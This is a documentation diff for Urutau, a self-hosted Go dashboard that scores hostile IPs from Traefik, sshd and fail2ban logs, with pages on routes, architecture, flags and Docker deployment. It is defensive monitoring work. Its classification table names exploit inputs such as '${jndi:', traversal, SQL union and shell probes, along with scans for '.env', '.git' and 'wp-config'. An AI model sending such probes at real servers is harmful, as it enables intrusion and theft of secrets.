`--trusted-proxy`. + +## Header + +- A live indicator showing whether the event stream (SSE) is connected (an instance serves at most 20 stream clients at once). +- The **host** selector: `all`, this instance and every peer of a hub. +- The **range** selector: `1h`, `24h` or `7d`. +- Language, theme and logout buttons. + +## Threats tab + +- **KPIs:** requests, malicious events, hostile IPs, suspicious IPs, bans and the "monitoring" counter (benign requests from monitor User-Agents, kept out of the traffic numbers). +- **Timeline:** stacked counters per category over the selected range. +- **IPs:** a table with score, level (`hostile`, `suspicious`, `low`), categories, hosts, reverse DNS, country, city and ASN, last seen and ban state. It has a search box (IP or reverse DNS), a level filter, a "banned only" filter, sorting by IP, score or last seen, and paging. Click a row for the detail drawer: first and last seen, per-category counts, sample paths, User-Agents (parsed into browser, OS, device, bot or attack tool), domains, users and jails. +- **Live feed:** the latest events as they arrive. Fields from the logs are shown as text, never as markup. +- **Top lists:** attacked paths, domains, User-Agents and targeted users. +- **Blocklist:** pick a minimum score (default 50), copy the list or download it. It only lists hostile, globally routable addresses (never `--ignore` or `--trusted` ranges, never an IP with a successful SSH login); IPv6 appears as its /64, written `x:x:x:x::/64`. +- **Map:** a world map of the origin countries of hostile activity. +- **Hosts and sources:** every instance with its state (online, latency, version) and every log source with its state (`following`, `waiting`, `backfill`, `error`), lines read, malformed lines and last event. The file paths are not shown. + +## Traffic tab + +Privacy-friendly web analytics for legitimate traffic, built from the same Traefik log and replacing the analytics of the proxy: unique visitors, pages, referrers, countries, browsers, operating systems and devices, response latency (p50 and p95), bytes sent, and a world map of visitor countries. Unique visitors are counted by a hash with a daily salt; the IP of a legitimate visitor is never stored. See [SECURITY.md](../SECURITY.md). + +## Attribution + +IP geolocation data by [DB-IP](https://db-ip.com), licensed under [CC BY 4.0](https://creativecommons.org/licenses/by/4.0/). The credit also appears in the footer of the dashboard. + +## HTTP routes + +| Route | Auth | Purpose | +|---|---|---| +| `GET /api/health` | none | `{"status":"ok"}` | +| `GET /login`, `POST /login`, `POST /logout` | none | session | +| `GET /` and the static files | session | the dashboard | +| `GET /api/v1/summary` | session or bearer | everything the dashboard shows. Query: `range` (`1h`, `24h`, `7d`), `host` (`all`, a name) | +| `GET /api/v1/traffic` | session or bearer | web analytics of legitimate traffic. Query: `range`, `domain` (`all` or one domain), `host`. Returns visitors, pages, requests, bots, bytes, status classes, `p50_ms`, `p95_ms`, a timeline, top pages, referrers, countries, cities, browsers, operating systems, devices and bot names | +| `GET /api/v1/peer/export` | peer token only | federation: `{"v":1,"summary":...,"traffic":{...}}` with the top 500 IPs and their detail. Query: `range` (`1h`, `24h`, `7d`). Cached for 5 s. 404 when no peer token is set, 401 for `URUTAU_TOKEN`, 403 from a source outside `--peer-allow` | +| `GET /api/v1/ips` | session or bearer | IP table. Query: `range`, `host`, `min_score`, `level`, `q`, `banned=1`, `sort` (`score`, `last`, `first`, `events`, `ip`), `order=asc`, `per` (1 to 200, default 50), `page` | +| `GET /api/v1/ip/{ip}` | session or bearer | detail of one IP, merged with the peers' exports | +| `GET /api/v1/events/stream` | session or bearer | Server-Sent Events, event `ev`, a ping every 20 s | +| `GET /api/v1/blocklist.txt` | session or bearer | one IP per line. Query: `min_score` (default 50), `range` (default `7d`), `host`, `family` (`4`, `6`; default both; `4` suits `ipset hash:ip`), `download=1` | +| `GET /api/v1/blocklist.json` | session or bearer | `{"generated","min_score","count","ips":[{"ip","score","last","hosts"}]}`; the `ip` of an IPv6 entry is a `/64` prefix | + +API clients send `Authorization: Bearer `. The peer token is accepted only by `/api/v1/peer/export`; every other route answers 403 to it. diff --git a/docs/pt-BR/arquitetura.md b/docs/pt-BR/arquitetura.md new file mode 100644 index 0000000..14bc256 --- /dev/null +++ b/docs/pt-BR/arquitetura.md @@ -0,0 +1,102 @@ +

◂ Voltar ao README

+ +# Arquitetura + +O Urutau é um único binário Go sem dependência de terceiros. Tudo roda em um processo. + +``` +cmd/urutau ponto de entrada: serve, doctor, version +internal/app flags, ligação das peças, runner dos logs, doctor +internal/tail seguidor de arquivo que tolera rotação e leitor de rotacionados +internal/core modelo de evento, parsers (Traefik, sshd, fail2ban), classificador +internal/store estado em memória, resumos, merge, snapshot +internal/rdns cache de DNS reverso +internal/fed hub que consulta os peers +internal/server handler HTTP, autenticação, dashboard embutido (web/) +``` + +## Fluxo de dados + +``` + access.log do Traefik auth.log fail2ban.log + │ │ │ + └──── tail.Follower (uma goroutine por fonte) ────┐ + ▼ + parse (core.ParseTraefik / ParseAuth / ParseFail2ban) → Event + ▼ + origem confiável? descarta. UA de monitor e benigno? conta à parte. + ▼ + store.Ingest: contadores, registro por IP, feed ao vivo + ▼ + snapshot a cada 60 s ◄── estado ──► resumos / tabela de IPs / SSE +``` + +## Fontes + +Cada fonte é seguida por sua própria goroutine e reporta um estado: `following`, `waiting` (o arquivo ainda não existe), `backfill` (primeira inicialização, lendo as cópias rotacionadas) ou `error`. Uma linha maior que 64 KiB é descartada e contada como malformada. Na primeira inicialização sem snapshot, as cópias rotacionadas (`path.1`, `path.N.gz` até 9) são lidas da mais antiga para a mais nova, para que a janela não comece vazia. + +As linhas são decodificadas assim: + +- **Traefik:** um objeto JSON por linha. Lê-se endereço do cliente, host, método, caminho, status e User-Agent; caminhos e User-Agents são cortados. +- **sshd:** as linhas do `auth.log` com timestamps ISO. Senhas e chaves recusadas, usuários inválidos, conexões fechadas antes da autenticação e logins `Accepted`; erros de negociação, falhas de banner e versões de protocolo incompatíveis contam como sondagens. +- **fail2ban:** linhas `Ban`, `Unban` e `Restore Ban`. Um ban restaurado (reaplicado após um reinício do fail2ban) atualiza o estado de ban e não é pontuado. + +Os caminhos dos arquivos de log nunca são expostos: nem o dashboard nem o export de um peer mostram de onde uma fonte lê, só o nome e o estado dela. + +Linhas válidas que não trazem nada a registrar são ignoradas em silêncio; linhas que não dá para interpretar são contadas como malformadas e aparecem por fonte no dashboard. + +## Classificação e pontuação + +Uma requisição web é classificada pelo caminho decodificado (decodificação percentual até duas vezes, contra dupla codificação), método e status. + +| Categoria | Significado | Peso | +|---|---|---| +| `exploit` | traversal, `${jndi:`, injeção de script, SQL union, sondas de shell e de leitura de arquivo | 8 | +| `ban` | o fail2ban baniu o IP | 10 | +| `scanner` | sondas de `.env`, `.git`, `wp-config`, phpMyAdmin, backups e arquivos compactados, varredura de plugins | 3 | +| `bruteforce` | `xmlrpc.php`, `wp-login.php` com falha, `POST` respondido com 401 | 2 | +| `ssh-fail` | falha de autenticação no sshd | 2 | +| `ssh-probe` | sondagem de negociação ou banner do sshd | 1 | +| `notfound` | demais respostas 4xx | 0,2 | +| `ok`, `ssh-ok` | tráfego benigno e logins bem-sucedidos | 0 | + +A pontuação de um IP é a soma dos pesos dos seus eventos na janela retida. Uma requisição `scanner` ou `exploit` que o servidor respondeu com 2xx ou 3xx (a sonda provavelmente não achou nada, ou a página é pública) pesa só 0,5. Unbans e bans restaurados não somam nada. + +O nível combina a pontuação com evidência: + +- **Suspeito:** pontuação 10 ou mais. +- **Hostil:** pontuação 50 ou mais **e** um sinal forte: uma ferramenta de ataque conhecida no User-Agent, duas ou mais categorias de ataque, um ban do fail2ban, ou uma tentativa clara de exploit recusada (4xx ou 5xx). Uma pontuação alta feita só de sinais fracos (um crawler que bate em muitos 404) continua suspeita. +- **Nunca hostil:** um IP com login SSH bem-sucedido (`ssh-ok`), que provavelmente é você. +- Caso contrário, **baixo**. + +Clientes IPv6 são rastreados pelo prefixo /64, já que um assinante tem um /64 inteiro e chaves por endereço deixariam um atacante inundar a tabela. São rastreados até 20.000 IPs. + +As categorias maliciosas (`scanner`, `exploit`, `bruteforce`, `ssh-fail`, `ssh-probe`) alimentam os totais de "malicioso". + +## Filtro de ruído + +Eventos de uma origem confiável (`--trusted`, mais as faixas privadas de `--ignore`) são descartados antes de qualquer registro. Uma requisição cujo User-Agent casa com `--monitor-ua` e que é benigna vai para um contador "monitoring" à parte e não entra no tráfego, na pontuação nem nas listas. Com `--monitor-from` o User-Agent só vale vindo dessas redes; sem ele, só respostas `ok` são filtradas. Se a requisição for classificada como `scanner`, `exploit` ou `bruteforce`, é um ataque normal, já que um User-Agent pode ser forjado. + +## Geolocalização e User-Agents + +`internal/geo` é um leitor MMDB sem dependências. Ele abre as bases DB-IP Lite de cidade e ASN, responde país, cidade e ASN de qualquer IP público (endereços privados e loopback não retornam nada) atrás de um pequeno cache, e troca um arquivo mais novo sem reiniciar. O atualizador baixa os arquivos de `download.db-ip.com` quando faltam ou têm mais de 35 dias, e depois confere no intervalo de `--geo-update`, verificando cada arquivo ao abri-lo antes de substituir o antigo. `internal/ua` interpreta um User-Agent em navegador, sistema operacional, classe de dispositivo, bot (buscadores, crawlers) ou ferramenta de ataque (scanners e kits de exploração). Dados por [DB-IP](https://db-ip.com), CC BY 4.0. + +## Web analytics + +Requisições benignas (`ok`, e os `notfound` que não são varredura) também alimentam a visão Tráfego. Um domínio só ganha vaga depois de uma resposta 2xx (e `--domains` pode restringi-los a uma lista), domínios inativos são podados e o top de páginas normaliza segmentos com cara de token para `:id`: visitantes únicos, páginas, referrers, países, navegadores, sistemas operacionais, dispositivos, latência (p50 e p95) e bytes. Um visitante único é um hash calculado com um sal que gira todo dia, então não pode ser seguido entre dias, e o endereço IP de um visitante legítimo nunca é persistido. O tráfego de ataque fica na visão Ameaças, onde o IP é o assunto. Requisições de monitoramento ficam fora das duas. + +## Estado e persistência + +O estado vive em memória: buckets por minuto de 7 dias, listas de top por hora (caminhos, domínios, User-Agents, usuários), uma tabela de até 20.000 IPs (quando cheia, 10% com a menor pontuação são removidos; IPs banidos são mantidos), um feed dos últimos 500 eventos e os bans ativos. `--retention` (1h a 168h) limita quanto tempo os IPs ficam; IPs antigos são podados a cada 10 minutos. + +A cada 60 segundos, e no desligamento, o estado é gravado em `urutau-state.gob` no diretório de dados junto com o inode e a posição de cada fonte. Na inicialização ele é restaurado e cada fonte retoma exatamente de onde parou, então um reinício nunca conta um log duas vezes. O snapshot é pulado enquanto um backfill roda. Um snapshot ilegível é movido para `urutau-state.gob.corrupt` e o serviço sobe vazio, lendo os logs de novo (incluindo as cópias rotacionadas). + +O processo define um limite suave de memória de 160 MiB, a menos que `GOMEMLIMIT` esteja definido. + +## Federação + +Um hub é uma instância comum iniciada com `--peer nome=https://url`, e precisa de `URUTAU_PEER_TOKEN`. A cada 15 segundos ele chama `GET /api/v1/peer/export?range=...` de cada peer (para `1h`, `24h` e `7d`) com o token de peer e guarda a última resposta. O export é `{"v":1,"summary":...,"traffic":{...}}` com os 500 IPs principais e seus detalhes, em cache de 5 segundos no peer. É a única rota que o token de peer abre. O hub nunca segue redirects, exige `https` fora de loopback, usa timeout de 4 segundos, limita o corpo a 8 MB e sanitiza e limita o que um peer enviar. Um peer que falha é marcado offline e os demais seguem. O seletor de host do dashboard passa a oferecer `all`, o próprio hub e cada peer; resumos, tráfego e tabelas de IPs são mesclados, e cada linha carrega o host de origem. + +## Camada HTTP + +O servidor define timeouts de leitura, escrita e ociosidade, `MaxHeaderBytes` de 16 KB, limita `POST /login` a 4 KB e aceita no máximo 20 clientes simultâneos do stream ao vivo (SSE) (o 21º recebe 503 com `Retry-After`; cada stream envia heartbeat a cada 20 s). O handler usa o mux padrão do `net/http`. Toda resposta leva uma Content-Security-Policy estrita (`default-src 'self'`), `X-Content-Type-Options`, `X-Frame-Options: DENY`, `Referrer-Policy: no-referrer`, cabeçalhos de isolamento de origem cruzada e, em HTTPS, HSTS. As respostas da API são `Cache-Control: no-store`. Os arquivos do dashboard são embutidos no binário. Veja [interface.md](interface.md) para as rotas e [configuracao.md](configuracao.md) para os ajustes. diff --git a/docs/pt-BR/cli.md b/docs/pt-BR/cli.md new file mode 100644 index 0000000..357fc92 --- /dev/null +++ b/docs/pt-BR/cli.md @@ -0,0 +1,84 @@ +

◂ Voltar ao README

+ +# Terminal + +``` +urutau serve [flags] roda o daemon e o dashboard +urutau doctor [--json] [flags] confere as fontes e o diretório de dados +urutau healthcheck [flags] sai com 0 quando o daemon local responde /api/health +urutau version imprime a versão +urutau help imprime o uso +``` + +O token de acesso nunca é uma flag: `urutau serve` o lê da variável de ambiente `URUTAU_TOKEN`, ou do arquivo indicado por `URUTAU_TOKEN_FILE`, para que não apareça na lista de processos. Tokens precisam de pelo menos 32 caracteres e cerca de 128 bits de entropia estimada (comprimento vezes entropia de Shannon; tokens periódicos ou sequenciais são recusados) (`openssl rand -base64 48` é o recomendado (`-hex 32` também serve)). Toda flag abaixo tem um padrão por variável `URUTAU_*`; a flag vence a variável. Veja [configuracao.md](configuracao.md). + +## `urutau serve` + +| Flag | Variável | Padrão | Significado | +|---|---|---|---| +| `--bind` | `URUTAU_BIND` | `0.0.0.0:8790` | endereço de escuta | +| `--name` | `URUTAU_NAME` | hostname | nome desta instância | +| `--data-dir` | `URUTAU_DATA_DIR` | `/data` | diretório do snapshot (`urutau-state.gob`) | +| `--traefik-log` | `URUTAU_TRAEFIK_LOG` | `/data/coolify/proxy/access.log` | access log JSON do Traefik; vazio desativa | +| `--auth-log` | `URUTAU_AUTH_LOG` | `/var/log/auth.log` | log do sshd; vazio desativa | +| `--fail2ban-log` | `URUTAU_FAIL2BAN_LOG` | `/var/log/fail2ban.log` | log do fail2ban; vazio desativa | +| `--trusted` | `URUTAU_TRUSTED` | vazio | CIDRs de origens confiáveis; os eventos delas são descartados por completo. `--ignore` / `URUTAU_IGNORE` é um alias | +| `--ignore` | `URUTAU_IGNORE` | `127.0.0.0/8,::1,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16,fc00::/7,fe80::/10,100.64.0.0/10,169.254.0.0/16` | mesma função de `--trusted`, com as faixas privadas como padrão | +| `--monitor-ua` | `URUTAU_MONITOR_UA` | `(?i)^(Uptime-Kuma/\|Beszel\|Coolify\|kube-probe/\|Go-http-client/.*healthcheck)` | expressão regular de User-Agents de monitoramento; vazio desativa | +| `--monitor-from` | `URUTAU_MONITOR_FROM` | vazio | CIDRs de onde vêm os monitores; quando definido, o User-Agent de monitoramento só vale vindo deles. Vazio: só respostas `ok` são filtradas | +| `--domains` | `URUTAU_DOMAINS` | vazio | lista de domínios do analytics (exatos ou `*.exemplo.com`); vazio acompanha todo domínio que responde 2xx; recomendado quando um backend responde 2xx para qualquer Host | +| `--geo-dir` | `URUTAU_GEO_DIR` | `/geo` | diretório das bases DB-IP Lite (cidade e ASN) | +| `--geo-update` | `URUTAU_GEO_UPDATE` | `24h` | de quanto em quanto tempo procurar uma base mais nova; `0` desliga o download | +| `--peer` | `URUTAU_PEERS` | nenhum | peer `nome=https://url`; repita a flag ou separe a variável por vírgula | +| `--peer-token` | `URUTAU_PEER_TOKEN` | vazio | token compartilhado com os peers; prefira a variável ou `URUTAU_PEER_TOKEN_FILE` (uma flag aparece na lista de processos). Por peer: `URUTAU_PEER_TOKEN_` | +| `--admin-users` | `URUTAU_ADMIN_USERS` | vazio | usuários SSH cujo login bem-sucedido mantém o IP fora da blocklist por 24 h; a imunidade fica desligada se não definido | +| `--peer-allow` | `URUTAU_PEER_ALLOW` | vazio | CIDRs de origem autorizados a chamar o export; vazio aceita qualquer origem com o token | +| `--trusted-proxy` | `URUTAU_TRUSTED_PROXY` | `127.0.0.0/8,::1` (o compose define `10.250.0.0/24`) | proxies cujo `X-Forwarded-For` é confiável, lido da direita para a esquerda (limite de login, `--peer-allow`) | +| `--retention` | `URUTAU_RETENTION` | `168h` | por quanto tempo os dados ficam (1h a 168h) | +| `--insecure-no-auth` | nenhuma | desligado | desativa a autenticação; só em bind loopback | + +Validação na inicialização: peers devem ser `nome=https://host` (`http` simples só em loopback), `URUTAU_PEER_TOKEN` deve estar definido e ser diferente de `URUTAU_TOKEN`, os nomes devem ser únicos e não podem ser `all` nem o nome da própria instância, `--retention` deve ser de pelo menos 1h e `URUTAU_TOKEN` e todo token de peer devem ter pelo menos 32 caracteres e cerca de 128 bits de entropia estimada; cada peer precisa de um token de cliente (`URUTAU_PEER_TOKEN_` ou o geral `URUTAU_PEER_TOKEN` como reserva), e os nomes de peer não podem colidir nesse nome de variável (salvo `--insecure-no-auth` em endereço loopback). + +```bash +export URUTAU_TOKEN=$(openssl rand -base64 48) +urutau serve --bind 127.0.0.1:8790 --data-dir ./data \ + --traefik-log "" --auth-log /var/log/auth.log +``` + +O daemon registra logs no stderr, salva um snapshot em `SIGTERM` ou `SIGINT` e sai com 0 numa parada limpa. + +## Ruído e monitoramento + +```bash +urutau serve --trusted "10.0.0.0/8,203.0.113.7" \ + --monitor-ua '(?i)uptime-kuma|statuscake' +``` + +`--trusted` descarta todo evento dessas origens. `--monitor-ua` casa com o User-Agent de requisições benignas (`ok` ou `notfound`) e as conta à parte como "monitoring"; uma requisição que seja `scanner`, `exploit` ou `bruteforce` continua contando como ataque. + +## Geolocalização + +```bash +urutau serve --geo-dir /data/geo --geo-update 24h +``` + +O Urutau baixa as bases DB-IP Lite de cidade e ASN em `--geo-dir` quando faltam ou têm mais de 35 dias, e depois confere a cada `--geo-update` o arquivo do mês corrente. O arquivo é verificado antes de substituir o antigo, e um download que falha nunca interrompe o serviço. Dados por [DB-IP](https://db-ip.com), CC BY 4.0. + +## `urutau doctor` + +Confere a configuração (token, peers, bind), cada fonte de log (legível, tamanho), se o diretório de dados é gravável, as bases de geolocalização e o snapshot. Os status são `ok`, `warn` (uma fonte que ainda não pode ser aberta), `fail` e `off` (desativada). O código de saída é 1 quando algum teste é `fail`, o que o torna utilizável em um healthcheck ou script de deploy. + +```bash +urutau doctor +docker exec urutau urutau doctor --json +``` + +`--json` imprime `{"version", "name", "ok", "checks": [{"name", "status", "detail"}], "geo", "state"}`. `geo` informa o diretório, o intervalo de atualização, a atribuição e as datas de build das bases carregadas; `state` informa o snapshot (caminho, tamanho, IPs, domínios e requisições em 7 dias) ou que ainda não existe. Um snapshot ilegível aparece como `warn`. + +## `urutau healthcheck` + +Chama `/api/health` no endereço de bind local e sai com 0 quando responde `{"status":"ok"}`, 1 caso contrário. É o `HEALTHCHECK` do container, e por isso a imagem não tem `curl`. Aceita as mesmas flags do `serve` (para um `--bind` diferente do padrão). + +## `urutau version` + +Imprime `urutau `. `--version` e `-v` também funcionam. diff --git a/docs/pt-BR/configuracao.md b/docs/pt-BR/configuracao.md new file mode 100644 index 0000000..7b4cc5b --- /dev/null +++ b/docs/pt-BR/configuracao.md @@ -0,0 +1,74 @@ +

◂ Voltar ao README

+ +# Configuração + +O Urutau não tem arquivo de configuração. Tudo é uma flag com padrão em variável de ambiente `URUTAU_*` ([cli.md](cli.md)), o que combina com um container. Os segredos são apenas variáveis de ambiente. + +## Segredos + +| Variável | Significado | +|---|---| +| `URUTAU_TOKEN` | **Obrigatória.** Token de acesso do dashboard e da API: no mínimo 32 caracteres e cerca de 128 bits de entropia estimada (comprimento vezes entropia de Shannon; tokens periódicos ou sequenciais são recusados). Gere um com `openssl rand -base64 48` (`openssl rand -hex 32` também serve; `-hex 16` é recusado pela estimativa de entropia). | +| `URUTAU_TOKEN_FILE` | Caminho de um arquivo com o token (espaços nas pontas são removidos), no lugar da variável. A variável vence quando as duas existem. | +| `URUTAU_PEER_TOKEN` | Opcional. O token de servidor desta instância: o único que o `GET /api/v1/peer/export` dela aceita, e não abre mais nada. Mesmas regras de força do `URUTAU_TOKEN` (32+ caracteres, cerca de 128 bits de entropia estimada, sem padrão periódico nem sequencial), e deve ser diferente dele. Quando esta instância é um hub, também é o token de cliente de reserva enviado aos peers que não têm o seu. | +| `URUTAU_PEER_TOKEN_FILE` | Caminho de um arquivo com o token de peer geral. | +| `URUTAU_PEER_TOKEN_` e `...__FILE` | A credencial de cliente que um hub envia àquele peer; deve ser igual ao `URUTAU_PEER_TOKEN` do próprio peer. `` é o nome do peer em maiúsculas, com todo caractere que não seja letra ou dígito virando `_` (`my-peer` vira `MY_PEER`). Ela **não** abre o export local. Dois nomes de peer que viram a mesma variável (`my-peer` e `my_peer`) são recusados. Um hub com um peer sem token para ele se recusa a iniciar. | + +Guarde os dois no `.env` (nunca versionado) ou no cofre de segredos do seu orquestrador. + +## Ajustes + +| Variável | Padrão | Significado | +|---|---|---| +| `URUTAU_BIND` | `0.0.0.0:8790` | endereço de escuta | +| `URUTAU_NAME` | hostname do container | nome exibido no dashboard e usado pelo hub | +| `URUTAU_DATA_DIR` | `/data` | onde o snapshot `urutau-state.gob` é gravado | +| `URUTAU_TRAEFIK_LOG` | `/data/coolify/proxy/access.log` | access log JSON do Traefik, vazio desativa | +| `URUTAU_AUTH_LOG` | `/var/log/auth.log` | log do sshd, vazio desativa | +| `URUTAU_FAIL2BAN_LOG` | `/var/log/fail2ban.log` | log do fail2ban, vazio desativa | +| `URUTAU_TRUSTED` | vazio | CIDRs ou IPs confiáveis, separados por vírgula; os eventos deles são descartados por completo | +| `URUTAU_IGNORE` | `127.0.0.0/8,::1,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16,fc00::/7,fe80::/10,100.64.0.0/10,169.254.0.0/16` | mesmo efeito, mantido como o alias que traz as faixas privadas como padrão | +| `URUTAU_MONITOR_UA` | `(?i)^(Uptime-Kuma/\|Beszel\|Coolify\|kube-probe/\|Go-http-client/.*healthcheck)` | expressão regular de User-Agents de monitoramento | +| `URUTAU_GEO_DIR` | `/geo` | onde ficam as bases DB-IP Lite | +| `URUTAU_GEO_UPDATE` | `24h` | intervalo entre buscas por uma base mais nova; `0` desativa o download | +| `URUTAU_PEER_ALLOW` | vazio | CIDRs autorizados a chamar o export; vazio aceita qualquer origem que tenha o token | +| `URUTAU_TRUSTED_PROXY` | `127.0.0.0/8,::1` (o compose define `10.250.0.0/24`) | proxies reversos cujo `X-Forwarded-For` é confiável (lido da direita para a esquerda); usado no limite de tentativas de login e em `URUTAU_PEER_ALLOW` | +| `URUTAU_DOMAINS` | vazio | lista de domínios permitidos no analytics, nomes exatos ou `*.exemplo.com`; vazio acompanha todo domínio que responde 2xx; recomendado, na prática obrigatório, quando algum backend responde 2xx para qualquer Host (catch-all ou wildcard), senão Hosts aleatórios podem ocupar as 24 vagas de domínio | +| `URUTAU_MONITOR_FROM` | vazio | CIDRs de onde os monitores realmente vêm; quando definido, o User-Agent de monitoramento só vale vindo deles | +| `URUTAU_ADMIN_USERS` | vazio | usuários SSH cujo login bem-sucedido mantém o IP fora da blocklist por 24 h após o último login (um sinal forte posterior anula); a imunidade fica desligada a menos que seja definido | +| `URUTAU_PEERS` | vazio | peers a agregar, `nome=https://url` separados por vírgula | +| `URUTAU_RETENTION` | `168h` | retenção como duração do Go, de `1h` a `168h` | +| `GOMEMLIMIT` | limite suave de 160 MiB | limite de memória padrão do Go; defina para sobrescrever | +| `TZ` | UTC | fuso dos timestamps do `fail2ban.log`, que não trazem fuso | + +Na imagem do container os três caminhos de log têm como padrão `/logs/traefik/access.log`, `/logs/host/auth.log` e `/logs/host/fail2ban.log` (o compose monta os logs do host ali). O compose acrescenta `URUTAU_VERSION` (tag da imagem), `URUTAU_IMAGE` e `URUTAU_PUBLISH` (endereço e porta no host), veja o `.env.example`. + +## Ruído e monitoramento + +- **Cabeçalhos do Traefik.** Registre `Sec-Fetch-Site`, `Sec-Fetch-Dest` e `Referer` para o Urutau distinguir uma página que embute seu site de uma visita real: `--accesslog.fields.headers.names.Sec-Fetch-Site=keep`, `--accesslog.fields.headers.names.Sec-Fetch-Dest=keep` e `--accesslog.fields.headers.names.Referer=keep`. Uma requisição enquadrada por outra página (`Sec-Fetch-Site` `cross-site` ou `same-site`, ou `Sec-Fetch-Dest` de subrecurso como `image` ou `script`) aparece na linha do tempo e cria registro de IP como qualquer outra, mas pesa 0,25 por evento, com no máximo 30 pontos por IP vindos delas (abaixo do limiar hostil), e nunca conta como sinal forte. Com User-Agent de ferramenta de ataque os cabeçalhos são ignorados. +- **Origens confiáveis** (`URUTAU_TRUSTED`): sua própria rede, escritórios, monitores e outros servidores. `URUTAU_IGNORE` já descarta loopback e as faixas privadas por padrão, então o tráfego interno nunca pontua. Acrescente os IPs públicos dos seus monitores. Se o proxy informa o gateway do Docker como cliente, esse endereço é privado e já é descartado; corrija o proxy para repassar o endereço real do cliente. +- **User-Agent de monitoramento** (`URUTAU_MONITOR_UA`): uma expressão regular do Go. Uma requisição que casa e é benigna é contada como "monitoring" em vez de tráfego. Se a requisição for `scanner`, `exploit` ou `bruteforce`, conta como ataque: um User-Agent é trivial de forjar, então nunca concede imunidade. +- **De onde vêm os monitores** (`URUTAU_MONITOR_FROM`): CIDRs dos seus monitores. Quando definido, o User-Agent de monitoramento só vale vindo dessas redes e requisições benignas (`ok` ou `notfound`) são filtradas. Quando vazio, só respostas `ok` são filtradas: um `notfound` com User-Agent de monitor ainda conta, porque qualquer um pode enviar esse cabeçalho. + +## Geolocalização e analytics + +País, cidade e ASN vêm das bases DB-IP Lite (cidade e ASN), que o Urutau baixa e atualiza sozinho em `URUTAU_GEO_DIR`. Sem elas (por exemplo num host isolado da internet) o dashboard funciona e os campos geográficos ficam vazios; para operar offline, coloque os arquivos `dbip-city-lite-AAAA-MM.mmdb` e `dbip-asn-lite-AAAA-MM.mmdb` nesse diretório e defina `URUTAU_GEO_UPDATE=0`. As bases são licenciadas CC BY 4.0: mantenha a atribuição (o rodapé do dashboard e o README já a trazem). + +A aba Tráfego não precisa de ajuste. `URUTAU_DOMAINS` restringe quais domínios ela acompanha (nomes exatos ou `*.exemplo.com`); um domínio só ganha vaga depois de uma resposta 2xx e domínios inativos são podados, então `Host` forjados não enchem o analytics. O top de páginas normaliza segmentos de caminho com cara de token (ids, hashes, strings aleatórias longas) para `:id`. Ela usa o log do Traefik, conta visitantes únicos por um hash com sal diário e nunca persiste o endereço IP de um visitante legítimo. Veja o [SECURITY.pt-BR.md](../../SECURITY.pt-BR.md). + +## Peers (modo hub) + +``` +URUTAU_PEERS=web1=https://urutau.web1.example,db1=https://urutau.db1.example +URUTAU_PEER_TOKEN= +``` + +Em cada peer, defina o mesmo `URUTAU_PEER_TOKEN`. O hub chama apenas `GET /api/v1/peer/export` (uma vez por intervalo, `1h`, `24h` e `7d`, a cada 15 segundos). As URLs dos peers devem ser `https` (`http` simples só é aceito em loopback): o token de peer viaja em um cabeçalho. Para restringir quem pode chamar o export, defina `URUTAU_PEER_ALLOW` no peer com o endereço do hub. Os nomes dos peers devem ser únicos e não podem ser `all` nem o nome do próprio hub. + +## Snapshot e retenção + +O arquivo de snapshot guarda o estado agregado e as posições dos logs. Monte `URUTAU_DATA_DIR` em um volume para mantê-lo entre reinícios. Apague o arquivo para começar do zero (os logs rotacionados serão lidos de novo). A retenção limita por quanto tempo um IP fica, no máximo 168 horas; os intervalos do dashboard são `1h`, `24h` e `7d`. + +## Autenticação e exposição + +O bind padrão é `0.0.0.0` porque o container fica atrás de um proxy. Fora de um container, faça bind em `127.0.0.1` ou coloque um proxy reverso com TLS na frente. `--insecure-no-auth` existe só para testes locais e é recusado em binds que não sejam loopback. diff --git a/docs/pt-BR/docker.md b/docs/pt-BR/docker.md new file mode 100644 index 0000000..27dba6f --- /dev/null +++ b/docs/pt-BR/docker.md @@ -0,0 +1,161 @@ +

◂ Voltar ao README

+ +# Docker + +O Urutau é distribuído como uma imagem de container pequena (`linux/amd64` e `linux/arm64`, cerca de 28 MB, sem `curl`), definida no [`docker-compose.yml`](../../docker-compose.yml). Ele só precisa ler arquivos de log e gravar um snapshot. + +``` +host container urutau +/data/coolify/proxy/logs ── :ro ────────────► /logs/traefik (access.log do Traefik) +/var/log/urutau ── :ro ────────────► /logs/host (auth.log, fail2ban.log) +volume urutau-data ── leitura e escrita ► /data (snapshot, bases de geolocalização) +``` + +O compose segue esse layout. O diretório de logs do Traefik é montado fora de `/data` para não colidir com o volume do snapshot. Só o diretório `logs` dedicado do proxy é montado, nunca o `/data/coolify/proxy` inteiro (que guarda `acme.json` e a configuração dinâmica). + +A imagem roda com o usuário sem privilégios `urutau` (uid 10001) em Alpine. O `HEALTHCHECK` é o próprio binário (`urutau healthcheck`, que pergunta `/api/health` ao daemon local), então não há `curl` na imagem. O compose define `mem_limit: 256m` e `cpus: 0.5`, sistema de arquivos raiz somente leitura, `cap_drop: [ALL]` e `no-new-privileges`, e repassa do `.env` ao container: `URUTAU_TOKEN`, `URUTAU_NAME`, `URUTAU_TRUSTED`, `URUTAU_PEERS`, `URUTAU_PEER_TOKEN`, `URUTAU_PEER_ALLOW`, `URUTAU_TRUSTED_PROXY`, `URUTAU_DOMAINS`, `URUTAU_MONITOR_FROM`, `URUTAU_ADMIN_USERS`, `URUTAU_GEO_UPDATE` e `TZ`. Para definir qualquer outra variável `URUTAU_*` (`URUTAU_MONITOR_UA`, `URUTAU_RETENTION`, `URUTAU_TOKEN_FILE`, tokens por peer, ...), acrescente-a ao bloco `environment`. + +## Início rápido + +```bash +cp .env.example .env +sed -i "s|^URUTAU_TOKEN=.*|URUTAU_TOKEN=$(openssl rand -base64 48 | tr -d '\n')|" .env +docker compose pull && docker compose up -d # imagem publicada +# ou, construindo localmente: +docker compose up -d --build +``` + +O token precisa de pelo menos 32 caracteres e cerca de 128 bits de entropia estimada (comprimento vezes entropia de Shannon; tokens periódicos ou sequenciais são recusados). `openssl rand -base64 48` é o recomendado (`openssl rand -hex 32` também serve). Para manter o segredo fora do ambiente, monte um arquivo e defina `URUTAU_TOKEN_FILE` (o mesmo vale para `URUTAU_PEER_TOKEN_FILE`). + +O dashboard sobe em `http://127.0.0.1:8790` por padrão (`URUTAU_PUBLISH` no `.env` muda o endereço e a porta). Confira as fontes: + +```bash +docker compose exec urutau urutau doctor +docker compose logs urutau +``` + +## Lendo os logs + +- **Traefik:** o access log precisa ser JSON e gravado em um diretório dedicado. Na configuração estática do Traefik defina `--accesslog=true`, `--accesslog.format=json` e 